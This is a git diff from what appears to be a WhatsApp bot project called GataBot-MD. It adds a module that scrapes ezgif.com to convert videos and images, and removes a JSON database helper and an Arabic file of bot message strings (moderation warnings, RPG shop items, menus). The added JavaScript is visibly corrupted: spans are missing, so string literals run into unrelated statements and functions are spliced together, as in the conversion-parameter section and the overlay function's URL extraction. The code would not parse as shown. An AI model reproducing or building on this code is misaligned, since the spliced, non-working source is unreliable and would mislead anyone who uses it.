- return this._data = existsSync(this.file) ? JSON.parse(readFileSync(this.file)) : {};
- } catch (e) {
- this.logger.error(e);
- return this._data = {};
- }
- }
-
- async _save() {
- const dirname = _dirname(this.file);
- if (!existsSync(dirname)) await fs.mkdir(dirname, {recursive: true});
- await fs.writeFile(this.file, JSON.stringify(this._data, ...this._jsonargs));
- return this.file;
- }
-}
-
-export default Database;
-
diff --git a/lib/ezgif-convert.js b/lib/ezgif-convert.js
new file mode 100644
index 000000000..87d8d4868
--- /dev/null
+++ b/lib/ezgif-convert.js
@@ -0,0 +1,773 @@
+import {
+ FormData
+} from 'formdata-node';
+import axios from 'axios';
+
+const linksConvert = {
+ "video-gif": {
+ "url": "https://ezgif.com/video-to-gif",
+ "params": {
+ "start": 0,
+ "end": 10,
+ "size": "original",
+ "fps": 10,
+ "method": "ffmpeg"
+ },
+ "req_params": [],
+ "split": {
+ "start": "Your browser"
+ },
+ "either_params": []
+ },
+ "video-jpg": {
+ "url": "https://ezgif.com/video-to-jpg",
+ "params": {
+ "start": 0,
+ "end": 10,
+ "size": "original",
+ "fps": 10
+ },
+ "req_params": [],
+ "split": {
+ "start": "\"small button danger\" href=\"",
+ "end": "\">Download frames as ZIP"
+ },
+ "either_params": []
+ },
+ "video-png": {
+ "url": "https://ezgif.com/video-to-png",
+ "params": {
+ "start": 0,
+ "end": 10,
+ "size": "original",
+ "fps": 10
+ },
+ "req_params": [],
+ "split": {
+ "start": "\"small button danger\" href=\"",
+ "end": "\">Download frames as ZIP"
+ },
+ "either_params": []
+ },
+ "gif-png": {
+ "url": "https://ezgif.com/split",
+ "params": {
+ "method": "im"
+ },
+ "req_params": [],
+ "split": {
+ "start": "\"small button danger\" href=\"",
+ "end": "\">Download frames as ZIP"
+ },
+ "either_params": []
+ },
+ "gif-sprite": {
+ "url": "https://ezgif.com/gif-to-sprite",
+ "params": {},
+ "req_params": [
+ "format"
+ ],
+ "split": {
+ "start": " Download frames as ZIP"
+ },
+ "either_params": ["by-grid", "by-size"]
+ },
+ "sprite-img": {
+ "url": "https://ezgif.com/sprite-cutter",
+ "params": {},
+ "req_params": ["format"],
+ "split": {
+ "start": "\"small button danger\" href=\"",
+ "end": "\">Download frames as ZIP"
+ },
+ "either_params": ["by-grid", "by-size"]
+ },
+ "bmp-jpg": {
+ "url": "https://ezgif.com/bmp-to-jpg",
+ "params": {
+ "format": "jpg"
+ },
+ "req_params": [],
+ "split": {
+ "start": " Download all files as ZIP archive"
+ },
+ "either_params": []
+ },
+ "svg-png": {
+ "url": "https://ezgif.com/svg-to-png",
+ "params": {
+ "currentcolor": "#000000"
+ },
+ "req_params": [],
+ "split": {
+ "start": " "
+ },
+ "either_params": []
+ },
+ "mng-apng": {
+ "url": "https://ezgif.com/mng-to-apng",
+ "params": {},
+ "req_params": [],
+ "split": {
+ "start": " Download all files as ZIP archive"
+ },
+ "either_params": []
+ },
+ "webp-png": {
+ "url": "https://ezgif.com/webp-to-png",
+ "params": {},
+ "req_params": [],
+ "split": {
+ "start": "Your browser"
+ },
+ "either_params": []
+ },
+ "video-avif": {
+ "url": "https://ezgif.com/video-to-avif",
+ "params": {
+ "start": 0,
+ "end": 10,
+ "size": "original",
+ "fps": 10
+ },
+ "req_params": [],
+ "split": {
+ "start": " {
+ if (!org_keys.includes(e)) throw new Error(`"${e}" is a required param.`);
+ });
+ }
+ if (type.either_params.length) {
+ let check = false;
+ type.either_params.forEach(e => {
+ if (org_keys.includes(e)) check = true;
+ });
+ if (!check) throw new Error(`Either one of these params has to be provided: ${type.either_params.join(', ')}`);
+ }
+
+ let link = await axios({
+ method: 'post',
+ url: type.url,
+ headers: {
+ 'Content-Type': 'multipart/form-data',
+ },
+ data: form,
+ }).catch(function(error) {
+ if (error.response) {
+ throw new Error(
+ JSON.stringify({
+ statusCode: error.response.status,
+ data: error.response.data.length ? error.response.data : "Try again. If it continues, report to the creator.",
+ },
+ null,
+ 4
+ )
+ );
+ } else {
+ throw new Error("Oops, something unknown happened! :(");
+ }
+ });
+
+ let redir = String(link?.request?.res?.responseUrl);
+ if (!redir) throw new Error(`Oops! Something unknown happened!`);
+ let id = redir.split('/')[redir.split('/').length - 1];
+ type.params.file = id;
+
+ let image = await axios({
+ method: 'post',
+ url: `${redir}?ajax=true`,
+ headers: {
+ 'Content-Type': 'application/x-www-form-urlencoded',
+ },
+ data: new URLSearchParams({
+ ...type.params,
+ ...fields,
+ }),
+ }).catch(function(error) {
+ if (error.response) {
+ throw new Error(
+ JSON.stringify({
+ statusCode: error.response.status,
+ data: error.response.data.length ? error.response.data : "Try again. If it continues, report to the creator.",
+ },
+ null,
+ 4
+ )
+ );
+ } else {
+ throw new Error("Oops, something unknown happened! :(");
+ }
+ });
+
+ let img_url = `https:${(image?.data?.toString()?.split(type.split.start)?.[1]?.split(type.split.end)?.[0])?.replace('https:', '')}`;
+ if (img_url.includes('undefined')) throw new Error(`Something unknown happened here... please report to the creator`);
+ return img_url;
+}
+
+async function overlay(fields) {
+ let form = new FormData();
+ let form_over = new FormData();
+ form.append('new-image', fields.file, {
+ filename: fields.filename,
+ });
+
+ let link = await axios({
+ method: 'post',
+ url: 'https://ezgif.com/overlay',
+ headers: {
+ 'Content-Type': 'multipart/form-data',
+ },
+ data: form
+ }).catch(function(error) {
+ if (error.response) {
+ throw new Error(JSON.stringify({
+ statusCode: error.response.status,
+ data: error.response.data.length ? error.response.data : "Try again. If it continues, report to the creator."
+ }, null, 4))
+ } else {
+ throw new Error("Oops, something unknown happened! :(")
+ }
+ });
+
+ let redir = String(link?.request?.res?.responseUrl);
+ if (!redir) throw new Error(`Oops! Something unknown happened!`);
+ let id = redir.split('/')[redir.split('/').length - 1];
+
+ form_over.append('new-overlay', Buffer.from(fields.overlay.file), {
+ filename: `${fields.overlay.filename}`,
+ });
+ form_over.append('overlay', 'Upload image!');
+
+ let link_over = await axios({
+ method: 'post',
+ url: redir,
+ headers: {
+ 'Content-Type': 'multipart/form-data',
+ },
+ data: form_over
+ }).catch(function(error) {
+ if (error.response) {
+ throw new Error(JSON.stringify({
+ statusCode: error.response.status,
+ data: error.response.data.length ? error.response.data : "Try again. If it continues, report to the creator."
+ }, null, 4))
+ } else {
+ throw new Error("Oops, something unknown happened! :(")
+ }
+ });
+
+ let redir_over = String(link_over?.request?.res?.responseUrl);
+ if (!redir_over) throw new Error(`Oops! Something unknown happened!`);
+ let id_over = redir_over.split('/')[redir_over.split('/').length - 1];
+
+ let image = await axios({
+ method: 'post',
+ url: `${redir_over}?ajax=true`,
+ headers: {
+ 'Content-Type': 'application/x-www-form-urlencoded'
+ },
+ data: new URLSearchParams({
+ file: id,
+ 'overlay-file': id_over,
+ posX: fields.x || 0,
+ posY: fields.y || 0
+ })
+ }).catch(function(error) {
+ if (error.response) {
+ throw new Error(JSON.stringify({
+ statusCode: error.response.status,
+ data: error.response.data.length ? error.response.data : "Try again. If it continues, report to the creator."
+ }, null, 4))
+ } else {
+ throw new Error("Oops, something unknown happened! :(")
+ }
+ });
+
+ let img_url = `https:${(image?.data?.toString()?.split('Toggle a range of frames: ')[0].split('').slice(0, -1).map(i => i.split('value="')[1].split('" name="files[]"')[0]).forEach(e => {
+ fields['files[]'].push(e)
+ });
+ let image = await axios({
+ method: 'post',
+ url: `${redir}?ajax=true`,
+ headers: {
+ 'Content-Type': 'application/x-www-form-urlencoded'
+ },
+ data: new URLSearchParams(fields)
+ }).catch(function(error) {
+ if (error.response) {
+ throw new Error(JSON.stringify({
+ statusCode: error.response.status,
+ data: error.response.data.length ? error.response.data : "Try again. If it continues, report to the creator."
+ }, null, 4))
+ } else {
+ throw new Error("Oops, something unknown happened! :(")
+ }
+ });
+
+ let img_url = `https:${(image?.data?.toString()?.split(' { return '😻 ممتاز GataBot-MD - WhatsApp '}
-const smsApagar = () => { return '❌ تعطيل'}
-const smsEncender = () => { return '✅ تفعيل'}
-const smsEnlaceTik = () => { return `*تم اكتشاف رابط TIKTOK محظور في هذه المجموعة*\n\n*لقد شرعت في حذفك*`}
-const smsEnlaceYt = () => { return `*تم اكتشاف رابط YOUTUBE محظور في هذه المجموعة*\n\n*لقد شرعت في حذفك*`}
-const smsEnlaceTel = () => { return `*تم اكتشاف رابط TELEGRAM محظور في هذه المجموعة*\n\n*لقد شرعت في حذفك*`}
-const smsEnlaceFb = () => { return `*تم اكتشاف رابط FACEBOOK محظور في هذه المجموعة*\n\n*لقد شرعت في حذفك*`}
-const smsEnlaceIg = () => { return `*تم اكتشاف رابط INSTAGRAM محظور في هذه المجموعة*\n\n*لقد شرعت في حذفك*`}
-const smsEnlaceTw = () => { return `*تم اكتشاف رابط TWITTER محظور في هذه المجموعة*\n\n*لقد شرعت في حذفك*`}
-const smsAllAdmin = () => { return `*أحتاج إلى أن أكون مشرفًا لأكون قادرًا على إزالة المتطفلين*`}
-const smsSoloOwner = () => { return `*يجب على خالقي تنشيط الوظيفة*\n*#on restrict*`}
-
-//handler.js
-const smsCont1 = () => { return `*🔴 فشل الأمر 🔴*`}
-const smsCont2 = () => { return `*⚠️ PLUGIN:*`}
-const smsCont3 = () => { return `*⚠️المستعمل:*`}
-const smsCont4 = () => { return `*⚠️ أمر:*`}
-const smsCont5 = () => { return `*⚠️ خطأ:*`}
-const smsCont6 = () => { return `*❗ أبلغ عن هذه الرسالة باستخدام الأمر #reporte من أجل حلها*`}
-const smsCont7 = () => { return `${global.lenguajeGB['smsAvisoAG']()}*ليس لديها ماسات!! 💎 يمكنك الذهاب إلى المتجر باستخدام الأمر*`}
-const smsCont8 = () => { return ` *الماس 💎 تستخدم*`}
-const smsCont9 = () => { return `${global.lenguajeGB['smsAvisoAG']()}*بحاجة إلى المستوى ➡️*`}
-const smsCont10 = () => { return `*لاستخدام هذا الأمر. المستوى الحالي الخاص بك هو ➡️*`}
-const smsCont11 = () => { return `*التحديث باستخدام الأمر*`}
-const smsCont12 = () => { return `مجموعة كبيرة!! 😼`}
-const smsCont13 = () => { return `انضم شخص ما!! 🥳`}
-const smsCont14 = () => { return `بقي شخص ما!! 🧐`}
-const smsCont15 = () => { return `*أهلا*`}
-const smsCont16 = () => { return `*مكالمات الفيديو* 📲`}
-const smsCont17 = () => { return `*المكالمات* 📞`}
-const smsCont18 = () => { return `*غير مصرح لهم بذلك ، لذا سأقوم بمنعك*\n\n*إذا تم الاتصال بك عن طريق حادث ، فاتصل بمنشئ هذا الروبوت*`}
-const smsCont19 = () => { return `منع الحذف`}
-const smsCont20 = () => { return `*┃✤ اسم:*`}
-const smsCont21 = () => { return `*┃✤ إرسال الرسالة المحذوفة ...*`}
-
-//_anti-internacional.js
-const smsInt1 = () => { return `*هذا العدد*`}
-const smsInt2 = () => { return `*غير مسموح به في هذه المجموعة !!*`}
-
-//_antilink.js
-const smsAdwa = () => { return `${global.lenguajeGB['smsAvisoEG']()}*نظرًا لأنك مسؤول في هذه المجموعة ، فلن تتم إزالتك*`}
-const smsEnlaceWat = () => { return `${lenguajeGB['smsAvisoAG']()}*تم اكتشاف رابط WHATSAPP محظور في هذه المجموعة*\n\n*لقد شرعت في حذفك*`}
-
-//_antilink2.js
-const smsEnlaceWatt = () => { return `${lenguajeGB['smsAvisoAG']()}تم اكتشاف ارتباط محظور يحتوي على HTTPS في هذه المجموعة\n\nلقد شرعت في حذفك`}
-
-//_antispam.js
-const smsNoSpam = () => { return `🤨 لا تزعجك ، فلن تكون قادرًا على الاستخدام ${global.packname} إلى عن على ${60000 / 1000 - 59} اللحظة`}
-
-//_antispam_.js
-const smsNoSpam2 = () => { return `كان غير محظور بعد ${60000 / 1000 - 59} اللحظة. من فضلك لا تزعج !!`}
-
-//نص
-const smsConMenu = () => { return `☘️ MENU`}
-
-//خطأ
-const smsMalError = () => { return `${lenguajeGB['smsAvisoFG']()}\`\`\`لقد حدث خطأ غير متوقع.\`\`\``}
-const smsMalError2 = () => { return `${lenguajeGB['smsAvisoFG']()}\`\`\`لقد نشأ إزعاج. حاول مرة أخرى.\`\`\``}
-const smsMalError3 = () => { return `${lenguajeGB['smsAvisoFG']()}\`\`\`حدث خطأ ما ، أبلغ عن هذا الأمر باستخدام:\`\`\`\n`}
-
-//_antitoxic.js
-const smsToxic1 = () => { return `لا !!! 🤬 قل هذه الكلمة`}
-const smsToxic2 = () => { return `ممنوع ألا تكون سامة`}
-const smsToxic3 = () => { return `*تحذير*\n⚠️`}
-const smsToxic4 = () => { return `😭 أنا اسف`}
-const smsToxic5 = () => { return `☢️ تعطيل مضاد للسموم`}
-const smsToxic6 = () => { return `لقد حذرتك عدة مرات !!`}
-const smsToxic7 = () => { return `لقد تجاوزت جميع تحذيرات 4 الآن سيتم التخلص منك 🙄`}
-
-//متجر
-const eExp = () => { return '⚡ Experience' }
-const eDiamante = () => { return '💎 Diamond' }
-const eDiamantePlus = () => { return '💎+ Diamond+' }
-const eToken = () => { return '🪙 Token' }
-const eEsmeralda = () => { return '💚 Emerald' }
-const eJoya = () => { return '♦️ Jewel' }
-const eMagia = () => { return '🌀 Magic' }
-const eOro = () => { return '👑 Gold' }
-const eGataCoins = () => { return '🐱 GataCoins' }
-const eGataTickers = () => { return '🎫 Gata Tickers' }
-const eEnergia = () => { return '✨ Energy' }
-
-const ePocion = () => { return '🥤 Potion' }
-const eAgua = () => { return '💧 Water' }
-const eBasura = () => { return '🗑 Trash' }
-const eMadera = () => { return '🪵 Wood' }
-const eRoca = () => { return '🪨 Rock' }
-const ePiedra = () => { return '🥌 Stone' }
-const eCuerda = () => { return '🕸️ String' }
-const eHierro = () => { return '⛓️ Iron' }
-const eCarbon = () => { return '⚱️ Coal' }
-const eBotella = () => { return '🍶 Bottle' }
-const eLata = () => { return '🥫 Can' }
-const eCarton = () => { return '🪧 Paperboard' }
-
-const eEletric = () => { return '💡 Electricity' }
-const eBarraOro = () => { return '〽️ Gold bar' }
-const eOroComun = () => { return '🧭 Common Gold' }
-const eZorroG = () => { return '🦊🌫️ Big Fox' }
-const eBasuraG = () => { return '🗑🌫️ Super Trash' }
-const eLoboG = () => { return '🐺🌫️ Super Wolf' }
-const eMaderaG = () => { return '🛷🌫️ Super Wood' }
-const eEspada = () => { return '⚔️ Sword' }
-const eCarnada = () => { return '🪱 Bait' }
-const eBillete = () => { return '💵 Banknotes' }
-const ePinata = () => { return '🪅 Pinata' }
-const eGancho = () => { return '🪝 Hook' }
-const eCanaPescar = () => { return '🎣 Fishing Rod' }
-
-const eCComun = () => { return '📦 Common Box' }
-const ePComun = () => { return '🥡 Uncommon Box' }
-const eCMistica = () => { return '🗳️ Mythic Box' }
-const eCMascota = () => { return '📫 Pet Box' }
-const eCJardineria = () => { return '💐 Gardening Box' }
-const eClegendaria = () => { return '🎁 Legendary Box' }
-
-const eUva = () => { return '🍇 Grape' }
-const eManzana = () => { return '🍎 Apple' }
-const eNaranja = () => { return '🍊 Orange' }
-const eMango = () => { return '🥭 Mango' }
-const ePlatano = () => { return '🍌 Banana' }
-
-const eSUva = () => { return '🌾🍇 Grape seeds' }
-const eSManzana = () => { return '🌾🍎 Apple seeds' }
-const eSNaranja = () => { return '🌾🍊 Orange seeds' }
-const eSMango = () => { return '🌾🥭 Mango Seeds' }
-const eSPlatano = () => { return '🌾🍌 Banana seeds' }
-
-const eCentauro = () => { return '🐐 Centaur' }
-const eAve = () => { return '🦅 Bird' }
-const eGato = () => { return '🐈 Cat' }
-const eDragon = () => { return '🐉 Dragon' }
-const eZorro = () => { return '🦊 Fox' }
-const eCaballo = () => { return '🐎 Horse' }
-const eFenix = () => { return '🕊️ Phoenix' }
-const eLobo = () => { return '🐺 Wolf' }
-const ePerro = () => { return '🐶 Dog' }
-
-const eAMascots = () => { return '🍖 Pet Food' }
-const eCCentauro = () => { return '🐐🥩 Centaur Food' }
-const eCAve = () => { return '🦅🥩 Bird Food' }
-const eCMagica = () => { return '🌀🥩 Magic Food' }
-const eCDragon = () => { return '🐉🥩 Dragon Food' }
-const eACaballo = () => { return '🐎🥩 Horse Food' }
-const eCFenix = () => { return '🕊️🥩 Phoenix Food' }
-
-//info-grupos-lista.js
-const smsLisA = () => { return '_*يوجد في هذه المجموعات:*_'}
-const smsLisB = () => { return '*⭔ إجمالي المجموعات:*'}
-const smsLisC = () => { return '*⋄ تَجَمَّع:*'}
-const smsLisD = () => { return '*⋄ ID:*'}
-const smsLisE = () => { return '*⋄ مشاركون:*'}
-
-//config-on y off.js
-const smsWel1 = () => { return `🎉 أهلا بك`}
-const smsWel2 = () => { return `رسالة ترحيب للأعضاء الجدد في المجموعات`}
-const smsDete1 = () => { return `🔔 إشعارات`}
-const smsDete2 = () => { return `إشعارات الإجراءات داخل المجموعة`}
-const smsANivel1 = () => { return `🆙 مستوى ذاتي`}
-const smsANivel2 = () => { return `رفع مستوى الجميع تلقائيًا ؛ (يطبق المكافآت على رفع المستوى)`}
-const smsRestri1 = () => { return `⛔ لتقييد`}
-const smsRestri2 = () => { return `قم بتمكين وظيفة إضافة أو إزالة الأشخاص في المجموعات`}
-const smsLlamar1 = () => { return `🚫 المكالمات المضادة`}
-const smsLlamar2 = () => { return `حظر الأشخاص الذين يجرون المكالمات`}
-const smsAntiSp1 = () => { return `🚯 مكافحة البريد المزعج`}
-const smsAntiSp2 = () => { return `حظر استخدام الأوامر عندما يقوم شخص ما بتنفيذ نوع من البريد العشوائي`}
-const smsModP1 = () => { return `🌐 الوضع العام`}
-const smsModP2 = () => { return `تمكين الوظيفة حتى يتمكن الجميع من استخدام GataBot`}
-const smsModAd1 = () => { return `🛂 وضع المشرف`}
-const smsModAd2 = () => { return `سيتمكن المسؤولون فقط من استخدام GataBot في المجموعات`}
-const smsLect1 = () => { return `✅ القراءة التلقائية`}
-const smsLect2 = () => { return `اترك الرسائل أو الدردشات كـ "مقروءة"`}
-const smsTempo1 = () => { return `🐈 بوت مؤقت`}
-const smsTempo2 = () => { return `وظيفة تسمح بالبقاء المؤقت في المجموعات`}
-const smsStik1 = () => { return `🎠 ملصقات`}
-const smsStik2 = () => { return `تفعيل الإرسال التلقائي للملصقات للجميع`}
-const smsStickA1 = () => { return `🪄 ملصقات تلقائية`}
-const smsStickA2 = () => { return `مقاطع فيديو أو صور متحركة أو صور أو روابط jpg أو jpeg ؛ سيتم تحويلها إلى ملصقات تلقائيًا`}
-const smsReacc1 = () => { return `🤡 تفاعل `}
-const smsReacc2 = () => { return `تمكين الإرسال التلقائي للردود على الرسائل`}
-const smsAudi1 = () => { return `🔊 صوتي`}
-const smsAudi2 = () => { return `تمكين الإرسال التلقائي للتسجيلات الصوتية للجميع`}
-const smsModHor1 = () => { return `🔞 الوضع الساخن`}
-const smsModHor2 = () => { return `عرض محتوى للبالغين في الدردشات`}
-const smsAntitoc1 = () => { return `☢️ مضاد للسموم`}
-const smsAntitoc2 = () => { return `إرسال تحذيرات لأولئك الذين يهينون`}
-const smsModOb1 = () => { return `👀 وضع المراقبة`}
-const smsModOb2 = () => { return `اجعل الصور والصور المتحركة ومقاطع الفيديو قابلة للعرض للجميع`}
-const smsAntiEli1 = () => { return `🗑️ منع الحذف`}
-const smsAntiEli2 = () => { return `ستتم إعادة توجيه جميع الرسائل المحذوفة إلى الدردشة أو المجموعة`}
-const smsAntiInt1 = () => { return `🌏 مضاد دولي`}
-const smsAntiInt2 = () => { return `حذف الأرقام الدولية التي تعتبر وهمية`}
-const smsAntiE1 = () => { return `🔗 الروابط المضادة`}
-const smsAntiE2 = () => { return `احذف الأشخاص الذين يرسلون روابط من مجموعات WhatsApp`}
-const smsAntiEE1 = () => { return `🔗 الروابط المضادة 2`}
-const smsAntiEE2 = () => { return `قم بإزالة الأشخاص الذين يرسلون روابط تحتوي على https`}
-const smsAntiTT1 = () => { return `🔗 أنتي تيك توك`}
-const smsAntiTT2 = () => { return `إزالة الأشخاص الذين يرسلون روابط TikTok`}
-const smsAntiYT1 = () => { return `🔗 يوتيوب ممنوع`}
-const smsAntiYT2 = () => { return `إزالة الأشخاص الذين يرسلون روابط YouTube`}
-const smsAntiTEL1 = () => { return `🔗 أنتي تليغرام`}
-const smsAntiTEL2 = () => { return `إزالة الأشخاص الذين يرسلون روابط Telegram`}
-const smsAntiFB1 = () => { return `🔗 الفيسبوك محظور`}
-const smsAntiFB2 = () => { return `قم بإزالة الأشخاص الذين يرسلون روابط Facebook`}
-const smsAntiIG1 = () => { return `🔗 مضاد إنستغرام`}
-const smsAntiIG2 = () => { return `قم بإزالة الأشخاص الذين يرسلون روابط Instagram`}
-const smsAntiTW1 = () => { return `🔗 مضاد للتويتر `}
-const smsAntiTW2 = () => { return `إزالة الأشخاص الذين يرسلون روابط Twitter`}
-const smsSOLOP1 = () => { return `⚜️ خاص فقط`}
-const smsSOLOP2 = () => { return `السماح باستخدامه فقط في الدردشات الخاصة`}
-const smsSOLOG1 = () => { return `⚜️ المجموعات فقط`}
-const smsSOLOG2 = () => { return `السماح باستخدامه فقط في الدردشات الجماعية`}
-const smsConfi1 = () => { return `الإعدادات`}
-const smsConfi2 = () => { return `*مرحبا!*`}
-const smsConfi3 = () => { return `┃ *حدد خيارًا من القائمة*`}
-const smsConfi4 = () => { return `┃ *للبدء في التكوين*`}
-const smsConfi5 = () => { return `┃● *إشعارات التكوين:*`}
-const smsConfi6 = () => { return `┃ ✅ ⇢ *تم تفعيل الوظيفة*`}
-const smsConfi7 = () => { return `┃ ❌ ⇢ *وظيفة معطلة*`}
-const smsConfi8 = () => { return `┃ ⚠️ ⇢ *هذه الدردشة ليست مجموعة*`}
-const smsConfi9 = () => { return `┃ *توصية: لمعرفة التكوين*\n┃ *أكمل استخدام قائمة المجموعة هذه*\n┃`}
-const smsConfi10 = () => { return `*~ مركز التكوين*`}
-const smsParaAdmins = () => { return `للمشرفين والمبدعين: المجموعات`}
-const smsParaAdYOw = () => { return `للمشرفين والمبدعين: الدردشات`}
-const smsParaOw = () => { return `لمنشئ المحتوى: محادثات`}
-const smsNoGg = () => { return ` | ⚠️`}
-const smsMens1 = () => { return `يأمر`}
-const smsMens2 = () => { return `في الوقت الحالي`}
-const smsMens3 = () => { return `في هذا`}
-const smsMens4 = () => { return `بوت`}
-const smsMens5 = () => { return `محادثة`}
-
-//Error2
-const smsMensError1 = () => { return `❕ تقرير الأمر ❕`}
-const smsMensError2 = () => { return `الأمر التالي يفشل`}
-
-//_antiviewonce.js
-const smsAntiView = () => { return `*لا يمكن إخفاء أي شيء* 😎`}
-
-//_autolevelup.js
-const smsAutoLv1 = () => { return `🎖️ مستوى جديد 🎖️`}
-const smsAutoLv2 = () => { return `المستوى السابق:`}
-const smsAutoLv3 = () => { return `المستوى الحالي:`}
-const smsAutoLv4 = () => { return `نطاق:`}
-const smsAutoLv5 = () => { return `تاريخ:`}
-const smsAutoLv6 = () => { return `لقد وصلت إلى مستوى جديد!!!`}
-const smsAutoLv7 = () => { return `🥳 مكافأة لمستواك الجديد`}
-
-//_autosticker.js
-const smsAutoStik = () => { return `${lenguajeGB['smsAvisoFG']()}*يجب ألا يزيد الفيديو عن 7 ثوانٍ.*`}
-
-//_expired.js
-const smsBottem1 = () => { return `*يترك المجموعة!!! 🤝 إذا كنت تريد أن تعود ، استخدم الأمر _#bottemporal_ للرجوع إلى المجموعة!!*`}
-const smsBottem2 = () => { return `*💕 مساعدة المستخدم*\n*_${global.ig}_*\n`}
-const smsBottem3 = () => { return `اراك قريبا 💖`}
-
-//_premium.js
-const smsPremI = () => { return `*¡انتهى وقتك المميز!* 🎟️\n*للحصول على بطاقة بريميوم جديدة ، استخدم الأمر:*\n*#pass prem*`}
-
-//afk-_afk.js
-const smsAfkM1 = () => { return `*لقد توقفت عن كونك غير نشط AFK*`}
-const smsAfkM2 = () => { return `\n*سبب عدم النشاط كان:*\n`}
-const smsAfkM3 = () => { return `⏳ *وقت الخمول:*`}
-const smsAfkM4 = () => { return `*لا تضع علامة على هذا المستخدم!! إنه غير نشط*\n`}
-const smsAfkM5 = () => { return `*سبب عدم نشاط AFK:*\n`}
-const smsAfkM6 = () => { return `*سبب عدم نشاط AFK:\nلم يحدد سبب عدم النشاط*`}
-const smsAfkTime = () => { return [['أيام'], ['ساعات'], ['دقائق'], ['ثواني']] }
-const smsAfkResultTime = smsAfkTime()
-
-//afk-afk.js
-const smsAfkQ1 = (usedPrefix, command) => { return `${lenguajeGB['smsAvisoMG']()}*اكتب سبب عدم نشاطه (AFK)*\n\n*مثال:*\n*${usedPrefix + command}* انا ذاهب للقيام بالواجب المنزلي`}
-const smsAfkQ2 = () => { return `${lenguajeGB['smsAvisoMG']()}*يجب أن يكون هناك 10 أحرف على الأقل هي السبب*`}
-const smsAfkM1A = () => { return `*لا تضع علامة على*`}
-const smsAfkM1B = () => { return `*سيكون AFK غير نشط*\n\n*سبب عدم نشاط AFK:*`}
-
-//anonymous_chat.js
-const smsChatAn1 = () => { return `${lenguajeGB['smsAvisoFG']()}*أنت لست في دردشة مجهولة*`}
-const smsChatAn2 = () => { return `*إذا كنت تريد بدء محادثة مجهولة ، فاستخدم الأمر #start أو استخدم الزر أدناه*\n`}
-const smsChatAn3 = () => { return `⚡ ابدأ محادثة مجهولة`}
-const smsChatAn4 = () => { return `${lenguajeGB['smsAvisoRG']()}🪐 *لقد تركت الدردشة المجهولة*`}
-const smsChatAn5 = () => { return `${lenguajeGB['smsAvisoAG']()}*ترك المستخدم الآخر الدردشة المجهولة*`}
-const smsChatAn6 = () => { return `*إذا كنت تريد الذهاب إلى دردشة أخرى مجهولة ، فاستخدم الأمر #start أو استخدم الزر أدناه*\n`}
-const smsChatAn7 = () => { return `${lenguajeGB['smsAvisoAG']()}*أنت لا تزال في دردشة مجهولة أو تنتظر أن ينضم شخص ما إلى الدردشة*`}
-const smsChatAn8 = () => { return `*إذا كنت تريد الخروج من الدردشة المجهولة ، فاستخدم الأمر #leave أو يمكنك استخدام الزر أدناه*\n`}
-const smsChatAn9 = () => { return `🍁 الخروج من الدردشة المجهولة`}
-const smsChatAn10 = () => { return `${lenguajeGB['smsAvisoEG']()}✨ *يمكنهم الدردشة الآن*`}
-const smsChatAn11 = () => { return `*شخص ما انضم إلى الدردشة المجهولة!!*`}
-const smsChatAn12 = () => { return `❇️ مستخدم آخر`}
-const smsChatAn13 = () => { return `${lenguajeGB['smsAvisoRG']()}🐈 *في انتظار انضمام شخص ما إلى الدردشة المجهولة ، يرجى التحلي بالصبر*`}
-
-//بوتونيس دي مينو
-const smsBotonM1 = () => { return `⚡ قائمة البدأ ⚡`}
-const smsBotonM2 = () => { return `💫 قائمة كاملة 💫`}
-const smsBotonM3 = () => { return `🎒 المخزون 🎒`}
-const smsBotonM4 = () => { return `المستخدمون`}
-const smsBotonM5 = () => { return `نطاق`}
-const smsBotonM6 = () => { return `مستوى`}
-const smsBotonM7 = () => { return `الممتازة`}
-const smsTex1 = () => { return '*قائمة البحث*'}
-const smsTex2 = () => { return '*معدل الصوت*'}
-const smsTex3 = () => { return '*قائمة +18*'}
-const smsTex4 = () => { return '*المحتوى الديناميكي*'}
-const smsTex5 = () => { return '*البحث والتحميل*'}
-const smsTex6 = () => { return '*القائمة +18 قسط*'}
-const smsTex7 = () => { return '⠇ *صور +18 جودة وتنوع*\n⠇ *فيديوهات +18 فقط لأجلك*\n⠇ *ملصقات +18 متاح*'}
-const smsTex8 = () => { return '*ومدة أكثر*'}
-const smsTex9 = () => { return '*قائمة التنزيلات*'}
-const smsTex10 = () => { return '*قائمة الألعاب الديناميكية*'}
-const smsTex11 = () => { return '*قائمة المجموعات*'}
-const smsTex12 = () => { return '*قائمة الأدوات*'}
-const smsTex13 = () => { return '*قائمة المعلومات*'}
-const smsTex14 = () => { return '*قائمة التأثيرات والشعارات*'}
-const smsTex15 = () => { return '*قائمة الشعارات 2*'}
-const smsTex16 = () => { return 'قائمة الصوت'}
-const smsTex17 = () => { return '*ليس من الضروري استخدام PREFIX في AUDIOS*'}
-const smsTex18 = () => { return 'قائمة الصوت'}
-const smsTex19 = () => { return '*يمكنك اختيار الصوت!!*'}
-const smsTex20 = () => { return '*قائمة المالك*'}
-const smsTex21 = () => { return '*قائمة آر بي جي*'}
-const smsTex22 = () => { return '*قائمة الملصقات والمرشحات*'}
-const smsTex23 = () => { return '*MEMES العشوائية وقائمة الرسوم المتحركة*'}
-
-//ad
-const smsMalused = () => { return '⚡ *استخدم الأمر مثل هذا:*\n'}
-const smsMalused2 = () => { return `${lenguajeGB['smsAvisoMG']()}🐈 *يجب عليك استخدام الأمر مثل هذا المثال:*\n`}
-const smsMalused3 = () => { return `${lenguajeGB['smsAvisoMG']()}🐈 *يجب عليك استخدام الأمر أو الرد على رسالة شخص ما مثل هذا المثال:*\n`}
-
-//gc-config_time.js
-const smsGrupoTime1 = () => { return '🔓 *_مجموعة مفتوحة في ساعة واحدة_*'}
-const smsGrupoTime2 = () => { return '🔒 *_إغلاق المجموعة في ساعة واحدة_*'}
-const smsGrupoTime3 = () => { return '*مجموعة'}
-const smsGrupoTime4 = () => { return 'مغلق'}
-const smsGrupoTime5 = () => { return 'افتح'}
-const smsGrupoTime6 = () => { return '*أثناء'}
-const smsGrupoTime7 = () => { return '🔒 *المجموعة مغلقة ، يمكن للمسؤولين فقط إرسال الرسائل*'}
-const smsGrupoTime8 = () => { return '🔓 *المجموعة مفتوحة ، يمكن للجميع إرسال الرسائل*'}
-const smsGrupoTime9 = () => { return '🔓 مجموعة مفتوحة أثناء '}
-const smsGrupoTime10 = () => { return '🔒 إغلاق المجموعة أثناء '}
-const smsGrupoTime11 = () => { return ' ساعة'}
-const smsGrupoTime12 = () => { return 'السماح للمجموعة بالحضور '}
-const smsGrupoTime13 = () => { return 'السماح للمجموعة بالاغلاق '}
-
-//grupo-add.js
